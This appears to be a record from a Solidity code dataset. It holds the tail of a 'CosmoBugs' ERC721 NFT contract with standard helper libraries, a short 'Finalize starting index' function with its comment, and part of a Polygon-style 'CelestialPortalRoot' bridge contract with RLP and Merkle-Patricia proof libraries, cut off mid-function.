from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); } interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ abstract contract CosmoBugsERC721 is Context, ICosmoBugsERC721 { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // ERC165 bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; mapping(bytes4 => bool) private _supportedInterfaces; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 private constant _INTERFACE_ID_ERC721_METADATA_SHORT = 0x93254542; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; mapping(address => EnumerableSet.UintSet) private _holderTokens; EnumerableMap.UintToAddressMap private _tokenOwners; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; string private _name; string private _symbol; string private _baseURI; string private _url; constructor(string memory name_, string memory symbol_) internal { _name = name_; _symbol = symbol_; _registerInterface(_INTERFACE_ID_ERC165); _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_METADATA_SHORT); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "CosmoBugs: balance query for the zero address"); return _holderTokens[owner].length(); } function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "CosmoBugs: owner query for nonexistent token"); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "CosmoBugs: URI query for nonexistent token"); string memory base = baseURI(); return string(abi.encodePacked(base, tokenId.toString(), ".json")); } function baseURI() public view returns (string memory) { return _baseURI; } function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } function totalSupply() public view override returns (uint256) { return _tokenOwners.length(); } function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } function approve(address to, uint256 tokenId) public override { address owner = ownerOf(tokenId); require(to != owner, "CosmoBugs: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "CosmoBugs: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "CosmoBugs: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "CosmoBugs: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public override { require(_isApprovedOrOwner(_msgSender(), tokenId), "CosmoBugs: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override { require(_isApprovedOrOwner(_msgSender(), tokenId), "CosmoBugs: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "CosmoBugs: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "CosmoBugs: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "CosmoBugs: transfer to non ERC721Receiver implementer"); } function _mint(address to, uint256 tokenId) internal { require(to != address(0), "CosmoBugs: mint to the zero address"); require(!_exists(tokenId), "CosmoBugs: token already minted"); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal { address owner = ownerOf(tokenId); _approve(address(0), tokenId); _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } function _transfer(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "CosmoBugs: transfer of token that is not own"); require(to != address(0), "CosmoBugs: transfer to the zero address"); _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } function _setBaseURI(string memory baseURI_) internal { _baseURI = baseURI_; } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "CosmoBugs: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _setURL(string memory newUrl) internal { _url = newUrl; } // ERC165 function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "CosmoBugs: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function functionCall(address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. */ library EnumerableMap { struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { MapEntry[] _entries; mapping(bytes32 => uint256) _indexes; } function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { map._entries.push(MapEntry({_key: key, _value: value})); map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } function _remove(Map storage map, bytes32 key) private returns (bool) { uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; MapEntry storage lastEntry = map._entries[lastIndex]; map._entries[toDeleteIndex] = lastEntry; map._indexes[lastEntry._key] = toDeleteIndex + 1; map._entries.pop(); delete map._indexes[key]; return true; } else { return false; } } function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } function _length(Map storage map) private view returns (uint256) { return map._entries.length; } function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); return (true, map._entries[keyIndex - 1]._value); } function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); return map._entries[keyIndex - 1]._value; } function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); return map._entries[keyIndex - 1]._value; } // UintToAddressMap struct UintToAddressMap { Map _inner; } function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. */ library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // UintSet struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + (temp % 10))); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction. */ abstract contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
Finalize starting index/
function finalizeStartingIndex() public { require(startingIndex == 0, "CosmoBugs: starting index is already set"); require(block.timestamp >= REVEAL_TIMESTAMP, "CosmoBugs: Too early"); _setStartingIndex(); }
10,270,496
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/access/Ownable.sol"; import {RLPReader} from "./lib/RLPReader.sol"; import {MerklePatriciaProof} from "./lib/MerklePatriciaProof.sol"; import {Merkle} from "./lib/Merkle.sol"; import "./lib/ExitPayloadReader.sol"; /** * @title Celestial Portal Root * @notice Edited from fx-portal/contracts and EtherOrcsOfficial/etherOrcs-contracts. */ contract CelestialPortalRoot is Ownable { using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using ExitPayloadReader for bytes; using ExitPayloadReader for ExitPayloadReader.ExitPayload; using ExitPayloadReader for ExitPayloadReader.Log; using ExitPayloadReader for ExitPayloadReader.LogTopics; using ExitPayloadReader for ExitPayloadReader.Receipt; /// @notice Emited when we replay a call. event CallMade(address target, bool success, bytes data); /// @notice Hashed message event -> keccak256("MessageSent(bytes)"). bytes32 public constant SEND_MESSAGE_EVENT_SIG = 0x8c5261668696ce22758910d05bab8f186d6eb247ceac2af2e82c7dc17669b036; /// @notice Fx Root contract address. address public fxRoot; /// @notice Checkpoint Manager contract address. address public checkpointManager; /// @notice Polyland Portal contract address. address public polylandPortal; /// @notice Authorized callers mapping. mapping(address => bool) public auth; /// @notice Message exits mapping. mapping(bytes32 => bool) public processedExits; /// @notice Require the sender to be the owner or authorized. modifier onlyAuth() { require(auth[msg.sender], "CelestialPortalRoot: Unauthorized to use the portal"); _; } /// @notice Initialize the contract. function initialize( address newFxRoot, address newCheckpointManager, address newPolylandPortal ) external onlyOwner { fxRoot = newFxRoot; checkpointManager = newCheckpointManager; polylandPortal = newPolylandPortal; } /// @notice Give authentication to `adds_`. function setAuth(address[] calldata addresses, bool authorized) external onlyOwner { for (uint256 index = 0; index < addresses.length; index++) { auth[addresses[index]] = authorized; } } /// @notice Send a message to the portal via FxRoot. function sendMessage(bytes calldata message) external onlyAuth { IFxStateSender(fxRoot).sendMessageToChild(polylandPortal, message); } /// @notice Clone reflection calls by the owner. function replayCall( address target_, bytes calldata data_, bool required_ ) external onlyOwner { (bool succ, ) = target_.call(data_); if (required_) require(succ, "CelestialPortalRoot: Replay call failed"); } /** * @notice Executed when we receive a message from Polyland. * @dev This function verifies if the transaction actually happened on child chain. * @param data RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function receiveMessage(bytes calldata data) public virtual { bytes memory message = _validateAndExtractMessage(data); (address target, bytes[] memory calls) = abi.decode(message, (address, bytes[])); for (uint256 i = 0; i < calls.length; i++) { (bool success, ) = target.call(calls[i]); emit CallMade(target, success, calls[i]); } } /// @notice Validate and extract message from FxRoot. function _validateAndExtractMessage(bytes memory data) internal returns (bytes memory) { ExitPayloadReader.ExitPayload memory payload = data.toExitPayload(); bytes memory branchMaskBytes = payload.getBranchMaskAsBytes(); uint256 blockNumber = payload.getBlockNumber(); // checking if exit has already been processed // unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) bytes32 exitHash = keccak256( abi.encodePacked( blockNumber, // first 2 nibbles are dropped while generating nibble array // this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) // so converting to nibble array and then hashing it MerklePatriciaProof._getNibbleArray(branchMaskBytes), payload.getReceiptLogIndex() ) ); require(processedExits[exitHash] == false, "CelestialPortalRoot: EXIT_ALREADY_PROCESSED"); processedExits[exitHash] = true; ExitPayloadReader.Receipt memory receipt = payload.getReceipt(); ExitPayloadReader.Log memory log = receipt.getLog(); // check child tunnel require(polylandPortal == log.getEmitter(), "CelestialPortalRoot: INVALID_FX_CHILD_TUNNEL"); bytes32 receiptRoot = payload.getReceiptRoot(); // verify receipt inclusion require( MerklePatriciaProof.verify(receipt.toBytes(), branchMaskBytes, payload.getReceiptProof(), receiptRoot), "CelestialPortalRoot: INVALID_RECEIPT_PROOF" ); // verify checkpoint inclusion _checkBlockMembershipInCheckpoint( blockNumber, payload.getBlockTime(), payload.getTxRoot(), receiptRoot, payload.getHeaderNumber(), payload.getBlockProof() ); ExitPayloadReader.LogTopics memory topics = log.getTopics(); require( bytes32(topics.getField(0).toUint()) == SEND_MESSAGE_EVENT_SIG, // topic0 is event sig "CelestialPortalRoot: INVALID_SIGNATURE" ); // received message data bytes memory message = abi.decode(log.getData(), (bytes)); // event decodes params again, so decoding bytes to get message return message; } /// @notice Validate checkpoint payload. function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) internal view returns (uint256) { (bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = ICheckpointManager(checkpointManager) .headerBlocks(headerNumber); require( keccak256(abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot)).checkMembership( blockNumber - startBlock, headerRoot, blockProof ), "CelestialPortalRoot: INVALID_HEADER" ); return createdAt; } } interface IFxStateSender { function sendMessageToChild(address _receiver, bytes calldata _data) external; } interface ICheckpointManager { function headerBlocks(uint256 headerBlock) external view returns ( bytes32 root, uint256 start, uint256 end, uint256 createdAt, address proposer ); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /* * @author Hamdi Allam [emailΒ protected] * Please reach out with any questions or concerns */ pragma solidity ^0.8.0; library RLPReader { uint8 constant STRING_SHORT_START = 0x80; uint8 constant STRING_LONG_START = 0xb8; uint8 constant LIST_SHORT_START = 0xc0; uint8 constant LIST_LONG_START = 0xf8; uint8 constant WORD_SIZE = 32; struct RLPItem { uint256 len; uint256 memPtr; } struct Iterator { RLPItem item; // Item that's being iterated over. uint256 nextPtr; // Position of the next item in the list. } /* * @dev Returns the next element in the iteration. Reverts if it has not next element. * @param self The iterator. * @return The next element in the iteration. */ function next(Iterator memory self) internal pure returns (RLPItem memory) { require(hasNext(self)); uint256 ptr = self.nextPtr; uint256 itemLength = _itemLength(ptr); self.nextPtr = ptr + itemLength; return RLPItem(itemLength, ptr); } /* * @dev Returns true if the iteration has more elements. * @param self The iterator. * @return true if the iteration has more elements. */ function hasNext(Iterator memory self) internal pure returns (bool) { RLPItem memory item = self.item; return self.nextPtr < item.memPtr + item.len; } /* * @param item RLP encoded bytes */ function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) { uint256 memPtr; assembly { memPtr := add(item, 0x20) } return RLPItem(item.length, memPtr); } /* * @dev Create an iterator. Reverts if item is not a list. * @param self The RLP item. * @return An 'Iterator' over the item. */ function iterator(RLPItem memory self) internal pure returns (Iterator memory) { require(isList(self)); uint256 ptr = self.memPtr + _payloadOffset(self.memPtr); return Iterator(self, ptr); } /* * @param item RLP encoded bytes */ function rlpLen(RLPItem memory item) internal pure returns (uint256) { return item.len; } /* * @param item RLP encoded bytes */ function payloadLen(RLPItem memory item) internal pure returns (uint256) { return item.len - _payloadOffset(item.memPtr); } /* * @param item RLP encoded list in bytes */ function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) { require(isList(item)); uint256 items = numItems(item); RLPItem[] memory result = new RLPItem[](items); uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 dataLen; for (uint256 i = 0; i < items; i++) { dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } return result; } // @return indicator whether encoded payload is a list. negate this function call for isData. function isList(RLPItem memory item) internal pure returns (bool) { if (item.len == 0) return false; uint8 byte0; uint256 memPtr = item.memPtr; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < LIST_SHORT_START) return false; return true; } /* * @dev A cheaper version of keccak256(toRlpBytes(item)) that avoids copying memory. * @return keccak256 hash of RLP encoded bytes. */ function rlpBytesKeccak256(RLPItem memory item) internal pure returns (bytes32) { uint256 ptr = item.memPtr; uint256 len = item.len; bytes32 result; assembly { result := keccak256(ptr, len) } return result; } function payloadLocation(RLPItem memory item) internal pure returns (uint256, uint256) { uint256 offset = _payloadOffset(item.memPtr); uint256 memPtr = item.memPtr + offset; uint256 len = item.len - offset; // data length return (memPtr, len); } /* * @dev A cheaper version of keccak256(toBytes(item)) that avoids copying memory. * @return keccak256 hash of the item payload. */ function payloadKeccak256(RLPItem memory item) internal pure returns (bytes32) { (uint256 memPtr, uint256 len) = payloadLocation(item); bytes32 result; assembly { result := keccak256(memPtr, len) } return result; } /** RLPItem conversions into data types **/ // @returns raw rlp encoding in bytes function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) { bytes memory result = new bytes(item.len); if (result.length == 0) return result; uint256 ptr; assembly { ptr := add(0x20, result) } copy(item.memPtr, ptr, item.len); return result; } // any non-zero byte is considered true function toBoolean(RLPItem memory item) internal pure returns (bool) { require(item.len == 1); uint256 result; uint256 memPtr = item.memPtr; assembly { result := byte(0, mload(memPtr)) } return result == 0 ? false : true; } function toAddress(RLPItem memory item) internal pure returns (address) { // 1 byte for the length prefix require(item.len == 21); return address(uint160(toUint(item))); } function toUint(RLPItem memory item) internal pure returns (uint256) { require(item.len > 0 && item.len <= 33); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; uint256 result; uint256 memPtr = item.memPtr + offset; assembly { result := mload(memPtr) // shfit to the correct location if neccesary if lt(len, 32) { result := div(result, exp(256, sub(32, len))) } } return result; } // enforces 32 byte length function toUintStrict(RLPItem memory item) internal pure returns (uint256) { // one byte prefix require(item.len == 33); uint256 result; uint256 memPtr = item.memPtr + 1; assembly { result := mload(memPtr) } return result; } function toBytes(RLPItem memory item) internal pure returns (bytes memory) { require(item.len > 0); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; // data length bytes memory result = new bytes(len); uint256 destPtr; assembly { destPtr := add(0x20, result) } copy(item.memPtr + offset, destPtr, len); return result; } /* * Private Helpers */ // @return number of payload items inside an encoded list. function numItems(RLPItem memory item) private pure returns (uint256) { if (item.len == 0) return 0; uint256 count = 0; uint256 currPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 endPtr = item.memPtr + item.len; while (currPtr < endPtr) { currPtr = currPtr + _itemLength(currPtr); // skip over an item count++; } return count; } // @return entire rlp item byte length function _itemLength(uint256 memPtr) private pure returns (uint256) { uint256 itemLen; uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) itemLen = 1; else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1; else if (byte0 < LIST_SHORT_START) { assembly { let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is memPtr := add(memPtr, 1) // skip over the first byte /* 32 byte word size */ let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len itemLen := add(dataLen, add(byteLen, 1)) } } else if (byte0 < LIST_LONG_START) { itemLen = byte0 - LIST_SHORT_START + 1; } else { assembly { let byteLen := sub(byte0, 0xf7) memPtr := add(memPtr, 1) let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length itemLen := add(dataLen, add(byteLen, 1)) } } return itemLen; } // @return number of bytes until the data function _payloadOffset(uint256 memPtr) private pure returns (uint256) { uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START)) return 1; else if (byte0 < LIST_SHORT_START) // being explicit return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; } /* * @param src Pointer to source * @param dest Pointer to destination * @param len Amount of memory to copy from the source */ function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } if (len == 0) return; // left over bytes. Mask is used to remove unwanted bytes from the word uint256 mask = 256**(WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {RLPReader} from "./RLPReader.sol"; library MerklePatriciaProof { /* * @dev Verifies a merkle patricia proof. * @param value The terminating value in the trie. * @param encodedPath The path in the trie leading to value. * @param rlpParentNodes The rlp encoded stack of nodes. * @param root The root hash of the trie. * @return The boolean validity of the proof. */ function verify( bytes memory value, bytes memory encodedPath, bytes memory rlpParentNodes, bytes32 root ) internal pure returns (bool) { RLPReader.RLPItem memory item = RLPReader.toRlpItem(rlpParentNodes); RLPReader.RLPItem[] memory parentNodes = RLPReader.toList(item); bytes memory currentNode; RLPReader.RLPItem[] memory currentNodeList; bytes32 nodeKey = root; uint256 pathPtr = 0; bytes memory path = _getNibbleArray(encodedPath); if (path.length == 0) { return false; } for (uint256 i = 0; i < parentNodes.length; i++) { if (pathPtr > path.length) { return false; } currentNode = RLPReader.toRlpBytes(parentNodes[i]); if (nodeKey != keccak256(currentNode)) { return false; } currentNodeList = RLPReader.toList(parentNodes[i]); if (currentNodeList.length == 17) { if (pathPtr == path.length) { if (keccak256(RLPReader.toBytes(currentNodeList[16])) == keccak256(value)) { return true; } else { return false; } } uint8 nextPathNibble = uint8(path[pathPtr]); if (nextPathNibble > 16) { return false; } nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[nextPathNibble])); pathPtr += 1; } else if (currentNodeList.length == 2) { uint256 traversed = _nibblesToTraverse(RLPReader.toBytes(currentNodeList[0]), path, pathPtr); if (pathPtr + traversed == path.length) { //leaf node if (keccak256(RLPReader.toBytes(currentNodeList[1])) == keccak256(value)) { return true; } else { return false; } } //extension node if (traversed == 0) { return false; } pathPtr += traversed; nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[1])); } else { return false; } } } function _nibblesToTraverse( bytes memory encodedPartialPath, bytes memory path, uint256 pathPtr ) private pure returns (uint256) { uint256 len = 0; // encodedPartialPath has elements that are each two hex characters (1 byte), but partialPath // and slicedPath have elements that are each one hex character (1 nibble) bytes memory partialPath = 